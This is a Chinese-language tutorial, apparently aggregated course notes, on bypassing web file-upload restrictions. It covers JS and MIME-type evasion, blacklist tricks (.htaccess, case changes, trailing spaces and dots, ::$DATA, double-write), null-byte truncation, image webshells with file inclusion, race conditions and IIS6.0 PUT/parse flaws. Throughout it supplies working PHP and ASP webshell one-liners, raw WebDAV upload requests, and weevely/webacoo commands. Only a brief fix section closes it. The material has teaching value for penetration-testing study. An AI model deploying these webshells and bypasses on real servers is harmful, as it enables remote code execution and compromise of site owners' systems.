-文件上传漏洞
Posted g0rez
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了-文件上传漏洞相关的知识,希望对你有一定的参考价值。
第一节 文件上传_绕过JS验证
1.1 JS验证代码分析
1.2 Burpsuite剔除响应JS
对于JS前端验证,直接删除掉JS代码之后就可以绕过JS验证。
1.3 浏览器审计工具剔除JS
利用浏览器的审查工具剔除JS之后,保存为新文件然后进行文件上传。
1.4 上传Webshell,菜刀连接
一句话木马:
php <?php @eval($_POST[“cmd”]); ?>
第二节 文件上传_绕过MIME-Type验证
2.1 MIME-Type介绍
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
例如:
2.2 验证MIME-Type代码分析
查看源代码分析 使用$_FILE['upload_file']['type']获取上传文件的MIME-Type类型。其中upload_file是在表单中定义的。
2.3 Burpsuite绕过MIME-Type验证
利用Burpsuite工具截断HTTP请求,在Repeater重放修改MIME-Type类型绕过验证。image/jpeg
2.4 菜刀连接 虚拟终端功能
一句话木马:
php <?php @eval($_POST[“cmd”]); ?>
技巧:获取上传Webshell的地址,右键图片属性,进行连接。虚拟终端介绍
第三节 文件上传_绕过黑名单验证
3.1 基于文件后缀名验证介绍
对于文件上传模块来说,尽量避免上传可执行的脚本文件。为了防止上传脚本需要设置对应的验证方式。最简单的就是设置文件后缀名验证。
基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
3.2 基于黑名单验证代码分析
对于黑名单中的后缀名筛选。绕过黑名单可以通过寻找“漏网之鱼”,寻找某些可以被作为脚本执行同时也不在黑名单中。
3.3 Burpsuite绕过黑名单验证
利用Burpsuite工具截断HTTP请求,利用Intruder模块进行枚举后缀名,寻找黑名单中没有过滤的后缀名。
3.4 上传webshell 菜刀连接
一句话木马:php
<?php @eval($_POST[“pass”]); ?>
第四节 文件上传_绕过黑名单验证(.htacess)
4.1 .htaccess文件介绍
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
4.2 配置文件http.conf
在Apache中如果需要启动 .htaccess,必须在http.conf中设置 AllowOverride
4.3 审计黑名单过滤代码
在黑名单中,没有对.htaccess进行过滤,可以直接上传.htaccess来设置使用php解析任意文件。
文件内容:SetHandler application/x-httpd-php
4.4 制作图片phpinfo探针并上传
使用文本编辑工具写入php代码:
<?php
phpinfo();
?>
保存为1.jpg进行上传即可。
第五节 文件上传_绕过黑名单验证(大小写绕过)
5.1 大小写绕过原理
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 TesT.php就是不一样的。
5.2 基于黑名单验证的代码分析
分析黑名单验证代码:
可以清晰的看出,黑名单中增加了.htaccess的验证,但是缺少了对上传文件名获取的小写转换。
5.3 直接修改后缀名PhP上传文件
文件后缀名不一定必须在Burpsutie截断的HTTP请求中修改,可以直接修改文件后缀名进行上传。
5.4 WeBaCoo上传webshell
WeBaCoo生成Webshell: webacoo -g -o a.php
上传Webshell
连接Webshell:webacoo -t -u Webshell地址
第六节 文件上传_绕过黑名单验证(空格绕过)
6.1 空格绕过原理
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Burpsuite阶段HTTP请求之后,修改对应的文件名 添加空格。
6.2 基于黑名单验证代码分析
经过代码分析可以看到代码中没有对上传文件的文件名做去空格处理。存在添加空格绕过黑名单问题。
6.3 Burpsuite绕过黑名单验证
利用Burpsuite工具截断HTTP请求,对上传的文件名后加空格。
6.4 Webshell生成与上传
使用Webacoo生成Webshell: webacoo -g -o webshell.php
Burpsutie截断HTTP请求 修改对应的文件名,添加空格
使用Webacoo连接上传成功的Webshell : webacoo -t -u “url”
第七节 文件上传_绕过黑名单验证(.号绕过)
7.1 .号绕过原理
Windows系统下,文件后缀名最后一个点会被自动去除。
例如: Windows下新建一个1.php.文件,查看。
7.2 基于黑名单验证代码分析
查看代码分析其中缺少去除文件名最后边点的处理,可以利用Windows系统特性,绕过黑名单。
7.3 Burpsuite绕过黑名单验证
利用Burpsuite工具截断HTTP请求,上传文件加 . 绕过上传。
7.4 生成并上传webshell
使用weevely生成Webshell并上传。
1、生成:weevely generate 密码 路径 文件名
2、上传
3、连接:weevely shell文件地址 密码
第八节 文件上传_绕过黑名单验证(特殊符号绕过)
8.1 特殊符号绕过原理
Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
例如:在Windows系统下新建一个文件名为 1.php::$DATA的文件,查看效果。但是在Window下新建的文件名中包含特殊符号不能成功新建。
8.2 基于黑名单验证代码分析
分析以下代码,发现没有黑名单过滤没有过滤掉 ::$DATA。
8.3 直接上传1.php::$DATA
在Kali Linux下修改文件名为 1.php::$DATA进行上传
8.4 上传第三方Webshell
上传网络上公开的一些Webshell。
第九节 文件上传_绕过黑名单验证(路径组合绕过)
9.1 路径拼接绕过原理
在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:
用户新建 1.php.+空格+.
deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.。
利用Windows自动去除最后一个点,导致成功上传1.php。
9.2 基于黑名单验证代码分析
对代码进行分析,可得上传后的文件没有经过随机化重命名,直接保存在服务器上。
9.3 修改文件名 绕过黑名单验证
在Kali linux下修改文件名,上传1.php. .文件
9.4 上传小Webshell,大Webshell
上传小Webshell,以绕过上传过程中对文件大小等限制,从而能够更加有效上传大Webshell。
第十节 文件上传_绕过黑名单验证(双写绕过)
10.1 双写绕过原理
代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过。
例如:1.phphpp
10.2 基于黑名单验证代码分析
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
该函数必须遵循下列规则:
-
如果搜索的字符串是一个数组,那么它将返回一个数组。
-
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
-
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
-
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。
注释:该函数是二进制安全的。
10.3 绕过黑名单验证
直接将php文件后缀名修改为 phphpp
10.4 上传Webshell
小Webshell转义解决:修改Webshell代码如下。
第十一节 文件上传_绕过白名单验证(%00)
11.1 00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数。
11.2 GET型00截断
GET型提交的内容会被自动进行URL解码。
注意:一定要关闭GPC,否则无法成功。
11.3 POST型00截断
在POST请求中,%00不会被自动解码,需要在16禁止中进行修改00.
11.4 一句话执行Webshell
使用php中的函数system执行GET提交的参数。
<?php
if($_GET)
$cmd = $_GET["cmd"];
system($cmd) ;
else
echo "no cmd";
?>
第十二节 文件上传_图片webshell上传
12.1 图片Webshell制作
在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
针对这种情况可以直接新建要给1.jpg,其中代码内容如下
GIF98A
<?php
phpinfo();
?>
12.2 上传图片Webshell文件
将制作好的图片Webshell上传到服务器。
其中可能Content-Type验证。修改为image/gif 或 image/jpg 符合当前文件类型的MIME
12.3 文件包含漏洞代码分析
在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,
无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。
<?php
if($_GET)
include($_GET[“file”])
else
echo “not get args file”;
?>
12.4 结合文件包含输出phpinfo
利用存在文件包含的PHP页面,包含上传的图片Webshell,从而触发Webshell,输出对应的Phpinfo.
第十三节 文件上传_竞争条件
13.1 文件上传过程介绍
文件上传过程:
13.2 竞争条件原理介绍
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[“cmd”]) ?>');
?>
13.3 竞争条件代码分析
先进行上传,后进行判断与删除。利用时间差进行webshell上传。
13.4 竞争条件文件上传利用
提前不断访问代码文件,然后上传,最终使用菜刀连接一句话Webshell。
Python发送http请求:
import requests
while true:
requests.get(“路径”)
第十四节 中间件IIS6.0解析漏洞
14.1 IIS6.0解析漏洞介绍
(1) 当建立 .asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件解析。 <%=NOW()%>
(2) 当文件 *.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。
微软 目前也没有推出补丁,不认为是一个漏洞。
下面在IIS6.0中演示这两个解析漏洞
14.2 IIS6.0 PUT上传原理
WebDAV 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法。
1、探测是否存在IIS PUT漏洞:
OPTIONS / HTTP1.1
Host: www.xxx.com
2、上传txt文本文件
PUT /a.txt HTTP1.1
Host:www.xxx.com
Content-Length: 30
<%eval request("chopper")%>
3、通过Move或Copy重名
COPY /a.txt HTTP1.1
Host: www.xxx.com
Destination: http://www.xxx.com/cmd.asp
4、删除
DELETE /a.txt HTTP1.1
Host: www.xxx.com
14.3 IIS6.0 PUT上传探测
利用nikto探测
-nikto -h IP地址
14.4 IIS6.0 PUT上传利用
利用Burpsuite 进行IIS PUT漏洞利用。先OPTIONS探测、PUT 、MOVE、DELETE
第十五节 IIS6.0解析漏洞以及修复
15.1 IIS6.0解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa /test.cer /test.cdx
15.2 IIS6.0文件解析漏洞修复方案
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。
以上是关于-文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章